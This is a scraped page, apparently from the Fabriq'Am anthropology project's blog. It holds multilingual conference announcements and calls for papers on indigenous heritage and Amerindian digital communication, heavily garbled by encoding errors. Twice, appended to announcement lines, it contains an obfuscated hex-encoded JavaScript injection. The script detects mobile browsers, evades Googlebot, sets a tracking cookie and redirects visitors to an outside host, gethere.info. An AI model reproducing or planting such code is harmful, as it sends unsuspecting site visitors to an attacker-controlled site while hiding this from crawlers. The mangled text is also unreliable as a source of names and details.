RA�union sur la session du colloque « Logiques A�mic de pA�rennisation, rA�gimes d’historicitA� et de transmission »

La premiA?re rA�union sur la session du colloque concernant

les logiques A�mic de pA�rennisation, rA�gimes d’histocitA� et de transmission

aura lieu le lundi 15 fA�vrier
de 14h A� 16h30

au France (190 av. de France, MA� Quai de la Gare)
4A?me A�tage, noyau A, salle 426 (locaux du CERMA).

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Le calendrier de Fabriq’am : 2015-2016

Automne 2015

 

18, 19, 20 novembre 2015:

Cycle de confA�rencesA�Sociedades indigenas y procesos de patrimonializacion. Acercamientos criticos y estudios de caso. Anath Ariel de Vidas. UNAM, Instituto de Investigaciones Antropologicas, MA�xico

 

7, 8 dA�cembreA�2015:

Colloque-workshopA�Tiempos y fabricas del patrimonio en las sociedades amerindias, Buenos Aires (Fabriqa��am a�� Conicet, org.A� Florencia Tola, Pablo Cruz, Laurence Charlier et Valentina Vapnarsky)

 

11 dA�cembreA�2015:

JournA�e da��A�tudeA�Les concours de beautA� dans les AmA�riques indiennes : performance, glamour et patrimonialisationA�(LESC, MAE) (org. Magda Helena Dziubinska et GrA�gory DeshoulliA?re).

 

Hiver-printemps 2016

 

4, 5 fA�vrierA�:

JournA�es da��A�tudeA�Les objets matA�riels dans les processus de patrimonialisationA�Barcelone, UniversitA� de Barcelone (Fabriqa��Am-Etnomat, org Monica MartA�nez Mauri, Jordi Tomas, HA�lios Pujol et CA�dric Yvinec)

 

10 fA�vrier a�� 10h-12h30 :

Dominique Gallois A�(LESC, MAE) – A�Transformations des modes de relation aux origines et aux graphismes kusiwa – WajA?piA�(AmapA?-Bresil)A�

 

29 fA�vrier, 1, 2 marsA�2016 :

Ateliers internes Fabriqa��amA�au Moulin da��AndA�

 

23 marsA�:

JournA�e da��A�tudeA�Processus de patrimonialisation et droits de propriA�tA� intellectuelleA�(titre prov., Paris, Fabriqa��Am-Etnomat/Barcelone, org. Monica MartA�nez Mauri, CA�dric Yvinec, a��)

 

31 marsA�:

JournA�e da��A�tudeA�DuA�Hip hop A� whata��s ap : nouvelles formes de communication chez les AmA�rindiensA�A�(titre prov., LESC, MAE) (org. Karla AvilA�s et Valentina Vapnarsky)

 

24, 25, 26 maiA�:

ColloqueA�CinA�ma amazonienA�(FABRIQa��AM-MusA�e du quai Branly, org. Isabel Penoni et Emmanuel de Vienne)

 

30, 31 mai, 1erA�juin :A�Colloque final FABRIQa��AM,A�PA�niche du CROUS, Paris

 

entreA� 3 – 8 juin A�: PanelA�Reshuffling of knowledge and the making of autochthonous cultural heritage: ethnographical perspectives | Mise en patrimoine et recomposition de rA�gimes de savoir. Ethnographie da��expA�riences indigA?nesA�(org. Anath Ariel de Vidas et Valentina Vapnarsky) MontrA�al, CongrA?s ACHS 2016var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Call. Du hip-hop au whatsapp : nouvelles formes de communication chez les Amerindiens

CALLA�

Please send proposals to the organizers before 31 January 2016.A�The proposal should include an abstract of maximum 500 words and a short CV.A�Possible co-funding of travel or stay

A�A�FABRIQ’AMA�meeting

(ANR Project, France, MONDESAM & LESC)

http://fabriqam.hypotheses.org/

location of the meeting:

Laboratoire da��Ethnologie et de Sociologie Comparative

MAE, UniversitA� Paris Ouest Nanterre

31 March 2016

FROM HIP-HOP TO WHATSAPP:A�

NEW FORMS OF COMMUNICATION AMONG AMERINDIAN (GLOBAL) COMMUNITIES

A�One of the well-known specificities of globalization is its important capacity to establish connections inside communities as well as between geographically distant and culturally diverse populations (Inda y Rosaldo 2001). Fluxes ofA�capital, ideas, people, images, wealth nowadays travel across frontiers with great freedom and intensity. Traditional mass media such as television, radio and newspapers have played an important role in this communicational intensification, with broad analogical and digital transfers. Since the end of the XXth century, digital innovations have also revolutionized these global interconnections, not just by applying them to the classical mass media, but also by making them accessible to a large audience (popularization of computers, softwares, and internet access with social networks such as Facebook or more personal ones such as Whatsapp or Skype).

All this leads us to ask, in general terms: What are the reaches and implications of these new forms of communication in the new dynamics of Amerindian languages and cultures? And more precisely: How do Amerindian communities use these media, and how do these media reconfigure Ameridian communicative practices and their ethnic identities? One aim of this meeting is to understand how the new Amerindian generations use these digital media to transmit their tastes, interests and concerns, that is, to understand these new practices which respond to a form of socialization more informal than formal, from a non-institutional perspective, and which can embrace a diversity of contexts, from ludic to political.

For instance, we know that hip-hop is more than a musical genre, from its beginnings it has been a cultural movement characterized by the expression of ethnic vindications, as with the case of Afro-Americans and Latinos in the USA. Hip-hop includes singing styles (rap, among others), music, dance, and visual arts. We know that hip-hop is now a worldwide phenomenon, although it has been mostly studied as a cultural urban movement. It was powered by mass media, including internet, to which most indigenous communities nowadays have access. On the contrary, mass media and internet have become a fundamental expression space for these communities (e.g.A�https://rising.globalvoices.org/lenguas/). However, we know little about the wayA�indigenous communities reinvest hip-hop in the digital era (Cru 2015), and the same goes for other modern musical genres such as reggae in Yucatec Maya, Tsotsil rock or electronic music in Toba. All this invites us to reconsider the limits of concepts such asA�local, rural, urban, tradition, modernity, a��

Another field of inquiry concerns the study of communication through social networks or messaging, such as chat or whasApp. These have led to the development of intensive practices of written and remote exchanges in societies where orality was up to recently largely dominant. What forms, contents and frames of participation do these communicative exchanges take? How are conversational and linguistic norms incorporated and transformed in these new medias? How do written and oral messages get integrated in these new media and how do these new practices of written (but increasingly multimodal) communication affect face-to-face orality?

The meeting aims at deciphering how Amerindian cultures adapt these genres and communicational media to express their own voices in Amerindian languages or in bilingual settings. Contextual and interactional analyses of the communicative and creative practices will be privileged. Special attention will also be given to the way the new virtual spaces of communication renew cultural images and stereotypes, by denouncing ideologies of discrimination, but also by the ludic power of these practices to transform cultural norms and ethnic identities. In this sense, aspects of these new practices are also part of the variety of processes of cultural heritagizationA�characteristic of our era. We invite participants to present case and/or comparative studies from different indigenous cultures of America.

A�References

Cru, Josep. 2015. A�A�Bilingual rapping in YucatA?n, MexicoA�: strategic choices for Maya langage legitimation and revitalisationA�A�.A�International Journal of Bilingual Education and Bilingualism, DOIA�: 10.1080/13670050.2015.1051945

Inda, Jonathan y Renato Rosaldo. 2008.A�The Anthropology of globalization. Blackwell Publishing, EUA-Oxford-Australia.

Terkourafi, Marina (ed.). 2010.A�Languages of global hip-hop. EdA�: Continuum, Londres

Organizers: Karla AvilA�s GonzA?lez (Labex EFL, Paris 7 / EREA) & Valentina Vapnarsky (EREA, CNRS)

Contact:A�A�karla.j.aviles@gmail.comA� ;A�A�valentina.vapnarsky@cnrs.fr

——–

APPEL a�� LLAMADO a�� CALL

MANDAR PROPUESTAS ANTES DEL 31 DE ENERO A LAS ORGANIZADORAS:A�RESUMEN DE 500 PALABRAS (mA?ximo), CON UN PEQUEA�O CV. Posibilidad de cofinanciamiento de viaje y/o estadA�a

A�A�Du hip hop A� whatsApp: nouvelles formes de communication chez les AmA�rindiens

DEL HIP-HOP AL WHATSAPPA�:A�

NUEVAS FORMAS DE COMUNICACIA�N EN LAS CULTURAS AMERINDIASA�

Jornada de estudiosA�FABRIQ’AM

(Proyecto ANR, Francia, MONDESAM & LESC)

La fA?brica de los A�A�patrimoniosA�A�A�: memorias, saberes y polA�tica en la AmA�rica indA�gena de hoy dA�a.

http://fabriqam.hypotheses.org/

lugar del encuentro:

Laboratoire da��Ethnologie et de Sociologie Comparative

MAE, UniversitA� Paris Ouest Nanterre

31 mars 2016

Sabemos que una de las caracterA�sticas de la globalizaciA?n es su gran capacidad de establecer conexiones tanto al interior de las comunidades, como entre poblaciones geogrA?ficamente lejanas y culturalmente diversas (Inda y Rosaldo 2001). Ciertamente, hoy en dA�a se encuentran intensificados los flujos de capitales, de ideas, de gente, de imA?genes, de bienes, cruzando fronteras. Los medios masivos de comunicaciA?n clA?sicos, como son la televisiA?n, el radio y los periA?dicos, han jugado un papel importante en esta intensificaciA?n comunicativa, transmitiA�ndola tanto en forma analA?gica como digital. De hecho, desde finales del siglo pasado, las innovaciones numA�ricas tambiA�n han revolucionado estas interconexiones globales, no sA?lo aplicA?ndolas a los medios masivos de comunicaciA?n clA?sicos, sino haciA�ndolas accesibles a un gran pA?blico, es decir popularizando el uso de las computadoras, las aplicaciones informA?ticas y la red de internet en formatos tales como las redes sociales de tipo facebook, o en formas relativamente mA?s personales como WhatsApp o skype. Todo esto nos invita a preguntarnos, en tA�rminos generales: A?CuA?les son los alcances de estas nuevas formas de comunicaciA?n en la dinamizaciA?n de las lenguas y culturas amerindias?; y de manera especA�ficaA�:A� A?CA?mo las comunidades amerindias emplean estos medios reconfigurando sus prA?cticas comunicativasA�y sus identidades A�tnicas? Esta jornada estarA? pues centrada en dar cuenta de las formas y contenidos que las nuevas generaciones emplean para transmitir sus gustos, intereses y preocupaciones actuales, es decir aquellas prA?cticas que sirven a un tipo de socializaciA?n de carA?cter mA?s informal que formal, desde una A?ptica no-institucional, y que pueden abarcar contenidos tanto lA?dicos como polA�ticos.

Por ejemplo, sabemos que el hip-hop es mA?s que un gA�nero musical, desde sus inicios ha sido un movimiento cultural caracterizado por vehicular reivindicaciones A�tnicas, como son las afro-americanas y latinas en Estados Unidos de NorteamA�rica, que incluye estilos de canto (rap entre otros), mA?sica, danza y artes visuales (como el graffiti). Sabemos que el hip-hop se ha globalizado, alcanzando distintas latitudes, y se ha estudiado sobre todo como un movimiento culturalA�urbanoA�(Terkourafi 2010). Este fenA?meno ha sido potenciado por los medios masivos de comunicaciA?n, incluyendo la red de internet, del cual las comunidades indA�genas contemporA?neas a menudo ya no estA?n al margen. Al contrario se han convertido en espacios fundamentales de expresiA?n para estas comunidades (por ejemplo:A�https://rising.globalvoices.org/lenguas/). Sin embargo sabemos poco sobre las reapropiaciones que hacen estos pueblos del hip-hop en la era numA�rica (Cru 2015), asA� como de otros gA�neros musicales actuales como son el reggae en maya yucateco, el rock tsotsil y la mA?sica electrA?nica en toba, y que de entrada nos invitan a repensar las fronteras de conceptos tales comoA�local,A�rural,A�urbano,A�tradiciA?nA�yA�modernidad, a��

Otro campo concierne el estudio de la comunicaciA?n vA�a las redes sociales o mensajerA�as tipo chat o whatsApp que han impactado a las a�?comunidadesa�? indA�genas donde se han desarrollado prA?cticas intensas de intercambio escrito y a distancia en sociedades donde la oralidad era aun ampliamente dominante.A� A?QuA� forma, contenido, marcos de participaciA?n toman dichos intercambios? A? CA?mo se incorporan y transforman las normas conversacionales y lingA?A�sticas en estos nuevos medios? A?CA?mo se integran medios escritos y orales, y de manera mA?s general la multimodalidad, en estos nuevos medios (cf. Mensaje en audio y videos) y quA� impacto tienen estas nuevas prA?cticas de comunicaciA?n escrita en la oralidad cara-a-cara?

Esta jornada de estudios propone pues descifrar cA?mo las culturas amerindias se apropian de este tipo de gA�neros y medios de comunicaciA?n para transmitir sus propias voces, en lenguas indA�genas o en versiones bilingA?es. Se privilegiarA?n los anA?lisis contextuales e interaccionales de las prA?cticas comunicativas y creativas, que contribuyen a la comprensiA?n de los esquemas comunicativos que organizan estos nuevos y multiformes espacios de intercambio virtual. TambiA�n se prestarA? especial atenciA?n a la manera en que estos nuevos espacios renuevan imA?genes o estereotipos culturales, denunciando ideologA�as de discriminaciA?n, pero tambiA�n dando cuenta del poderoso aspecto lA?dico que pueden adoptar transformando o no las representaciones del sA� mismo y de la alteridad A�tnica.

Invitamos pues a presentar estudios de caso provenientes de las culturas originarias de AmA�rica que demuestren cA?mo A�stas se visibilizan a travA�s de gA�neros actuales tanto en las redes sociales como en los medios masivos de comunicaciA?n clA?sicos. De manera directa, esta jornada abre tambiA�n un espacio para reflexionar sobre los alcances de este tipo de reapropiaciones como nuevos movimientos patrimonializadores.

Referencias

Cru, Josep. 2015. A�A�Bilingual rapping in YucatA?n, MexicoA�: strategic choices for Maya langage legitimation and revitalisationA�A�.A�International Journal of Bilingual Education and Bilingualism, DOIA�: 10.1080/13670050.2015.1051945

Inda, Jonathan y Renato Rosaldo. 2008.A�The Anthropology of globalization. Blackwell Publishing, EUA-Oxford-Australia.

Terkourafi, Marina (ed.). 2010.A�Languages of global hip-hop. EdA�: Continuum, Londres.

——

OrganizadorasA�: Karla AvilA�s GonzA?lez (Labex EFL, Paris 7 / EREA) & Valentina Vapnarsky (EREA, CNRS)

Contacto:A�A�karla.j.aviles@gmail.comA� ;A�A�valentina.vapnarsky@cnrs.fr

 

Cliquez ici pourA�RA�pondre,A�RA�pondre A� tousA�ouA�TransfA�rerA�le message.

1,42A�GoA�(9A�%) utilisA�s surA�15A�Go

GA�rer

Conditions d’utilisationA�-A�ConfidentialitA�

DerniA?re activitA� sur le compte : Il y a 23A�minutes

DA�tails

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Coloquio Internacional. Patrimonio alimentarios : consensos y tensiones, 30 al 2 de diciembre de 2015, MA�xico

Coloquio Internacional

Patrimonios alimentarios:
consensos y tensiones

Lunes 30 de noviembre
al miA�rcoles 2 de diciembre 2015

Auditorio a�?Jaime Litvak Kinga�?, Instituto de Investigaciones AntropolA?gicas-UNAM
Ciudad Universitaria, circuito exterior s/n, MA�xico D.F.

Ver el programa :A�COLOQUIO PATRIMONIO ALIMENTARIOvar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sociedades indA�genas y procesos de patrimonializaciA?n (18-20/11/2015): « Sociedades indA�genasA�y procesos de patrimonializaciA?n », MA�xico

Universidad Nacional AutA?noma de MA�xico Instituto de Investigaciones AntropolA?gicas

Ciclo de conferencias

Sociedades indA�genasA�y procesos de patrimonializaciA?n.
Acercamientos crA�ticos y estudios de caso

del 18 al 20 de noviembre de 2015
de 10:00 a 13:00
SalA?n de Usos MA?ltiples, IIA-UNAM

Imparte : Dra Anath Ariel de Vidas (CNRS, Francia)

MiA�rcoles 18
Una introducciA?n al tema:A�A� Del patrimonio a laA�patrimonializaciA?n A�

Jueves 19
Los tA�rminos de la patrimonializaciA?n:A�A� cultura y a�?culturaa�� A�

Viernes 20
Estudios de casos:A�el proyecto FABRIQa��AM y otrasA�experiencias

Ver el programa :A�Programa.pdf

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Appel A� communication : objets matA�riels et patrimonialisation, Barcelone, 4 et 5/02/2016

Les objets matA�riels dans les processus de patrimonialisation

JournA�e da��A�tude commune Fabriqa��Am-Etnomat A� Barcelone, 4-5 fA�vrier 2016 Organisateurs : Monica MartA�nez Mauri, Jordi Tomas, HA�lios Pujol, CA�dric Yvinec

Appel A� communication pour une journA�e d’A�tude consacrA�e A� la question de la place des objets matA�riels dans les processus de patrimonialisation. Cette journA�e rassemblera des membres de Fabriq’Am et du projet Etnomat (Barcelone). Elle aura lieu A� Barcelone les 4 et 5 fA�vrier 2016.

Lire l’argumentaire :A�Appel Barcelone

Contacts

Si vous souhaitez y participer, vous pouvez contacter HA�lios Pujol (hfpujol@yahoo.fr) ou CA�dric YvinecA�(cedricyvinec@yahoo.fr), si possible rapidement.

 

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SHARING CULTURES a�� 4th International Conference on Intangible Heritage

2nd CALL FOR PAPERS

March 20, 2015

SHARING CULTURES a�� 4th International Conference on Intangible Heritage

September 21-23, 2015 * Lagos * Algarve * Portugal

SHARING CULTURES 2015 – 4th International Conference on Intangible Heritage aims at pushing further the discussion on Intangible Cultural Heritage (ICH), under the main topics proposed by the UNESCO Convention adding some new field of discussion, namely on what concerns management and promotion of ICH, educational matters and musealization (please refer to the list of Topics).

The concept of ICH gained its rightful place among the scientific community during the last two decades and a significant amount of work has been done by a large number of researchers, academics and practitioners, leading to the recognition of ICH as fundamental piece for the comprehension of human societies, organisations and ways of living. Accordingly, scientific events that gather scholars, researchers and academics with on-going work on ICH are privileged moments to share experiences, problems, questions and conclusions. SHARING CULTURES in its 2015 edition aims at consolidating its rightful place among those events.

As in its previous editions SHARING CULTURES 2015 will include a number of workshops promoting some hands-on experience to all Delegates who will have the opportunity to learn traditional know-how from its owners and practitioners.

Authors intending to submit papers to SHARING CULTURES 2015 are encouraged to address one of the topics of the Conference by providing evidence of ongoing research work.

The Conference will welcome papers and presentations on field work, case studies and theoretical approaches to ICH.

SHARING CULTURES 2015 is a peer reviewed conference.

Visit the conference website for full details about the conference scope, topics and submission procedures at:

http://www.sharing.greenlines-institute.org

Abstract Submission

Submit an abstract via the conference website: http://www.sharing.greenlines-institute.org/ or contact the Conference Secretariat below.

Topics

A� Oral traditions and expressions

A� Performing arts

A� Social practices

A� Traditional craftsmanship

A� Management and promotion of intangible heritage

A� Authenticity of intangible heritage

A� Intangible heritage and education

A� Special Chapter: ecomuseums, community museums and living communities

Conference Secretariat

Secretariat SHARING CULTURES 2015

Green Lines Institute for Sustainable Development

Av. Alcaides de Faria, 377 S12

4750-106 Barcelos, PORTUGAL

Telephone: + 351 253 815 037

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ConfA�rences de Laurier Turgeon, le 16, 18, 23, 25 fA�vrier 2015, EHESS, Paris

Laurier TURGEON

Chaire de recherche du Canada en patrimoine ethnologique

Directeur du LEEM, Laboratoire da��enquA?te ethnologique et multimA�dia

UniversitA� Laval, QuA�bec, Canada

A�

Professeur invitA� A� la��EHESS par le master mundus TEMA, donnera quatre confA�rences sur le thA?me du patrimoine. Ces confA�rences auront lieu au 105 boulevard Raspail, Paris.

  • Lundi 16 fA�vrier, de 16h00 A� 18h00, salle 2A�:A�A�A�Politiques et pratiques du patrimoine et du dA�veloppement durableA�: convergences et croisementsA�A�
  • Mercredi 18 fA�vrier, de 16h00 A� 18h00, salle 5A�:A�A�A�MA�diations des patrimoines et nouvelles technologiesA�A�
  • Lundi 23 fA�vrier, de 16h00 A� 18h00, salle 11A�:A�A�A�Mises en valeur des patrimoines et tourisme durableA�: dA�fis et enjeuxA�A�
  • Mercredi 25 fA�vrier, deA�17h00 A� 19h00, salle 11A�:A�A�A�La fabrique du patrimoine alimentaire et la conservation des territoiresA�A�

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Call for papers: International Conference Cultural Narratives of Crisis and Renewal

International Conference Cultural Narratives of Crisis and Renewal*
Newcastle University 24-26 June 2015

Call for papers

This conference hosted by the School of Modern Languages and the Centre for Latin American and Caribbean Studies invites papers examining the cultural production and cultural practices in the context of societal crisis, on both sides of the Atlantic. Our aim is to establish a dialogue about the narratives on moments of crisis and images of renewal in Latin American and Iberian cultural production.

Keynote speaker
Prof. Jean Franco
(Columbia University)

We welcome papers on the following topics or others relevant to the conference main theme:

– Cultural production responding to societal crises in Latin America and Spain (comics, film, graffiti, literature, music, photography, telenovela, theatre)
– The ‘neoliberal turn’ in Latin America in the 1970s.
– The experience of crisis in transatlantic relations.
– Financial uncertainty and the rise of amateurism.
– Collectives, associations and spaces for cultural production.
– Alternative cultures (and social or economic practices) in periods of crises.
– Cultural renewal.
– Linguistic revitalization, ethnogenesis and cultural production.

NB: The conference will host an exhibition by visual artist Javier de Isusi and will screen the documentary De mar a mar based on the life and work of exiled Republican intellectual and playwright JosA� Ricardo Morales. In association with the Vamos Festival, work by lettering artist Elliot Tupac will be displayed.
Please send your proposals by 11 March 2015 toA�conferencenewcastle@gmail.comA�Include title, affiliation and 150-200 word abstract.

*Cultural Narratives of Crisis and Renewal (CRIC) is a four-year collaborative research project sponsored by the European Union Marie Curie RISE fund. The overarching aim of the project is to investigate the role of cultural production as a vehicle to elucidate experiences of crisis. Participating institutions: Newcastle University; University of Amsterdam; Universitat de ValA?ncia; Universitat de Lleida; Universidad Austral de Chile; Pontificia Universidad CatA?lica del PerA?; Universidad Nacional de CA?rdoba; Universidad Nacional Tres de Febrero. The project is coordinated by Drs Jorge CatalA? Carrasco and Patricia Oliart.

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Cultural Landscapes and Heritage Values – Embracing Change in the Management of Place

Cultural Landscapes and Heritage Values – Embracing Change in the Management of Place

May 13 – 15, 2015

UMass Amherst Campus, Amherst, Massachusetts USA

 

Themes include the following:

Tangible and Intangible Heritage in Cultural LandscapesA�

Cultural landscapes embody tangible as well as intangible heritage, and are a combined expression of both. Various forms of traditional knowledge shape landscapes and are therefore a vital topic in cultural landscape research and practice. Abstracts should address case studies and research in traditional landscape management practices; layers of meaning ascribed to landscapes that have been lost or are contested; proxemics patterns and their influence on power and social structure; ephemeral landscapes and landscapes of change; agricultural landscapes; indigenous landscapes; and other examples of intangible heritage in cultural landscapes.

To propose a symposium, paper, or poster, please submit an abstract (maximum 200 words)A�HEREA�by January 15, 2015.

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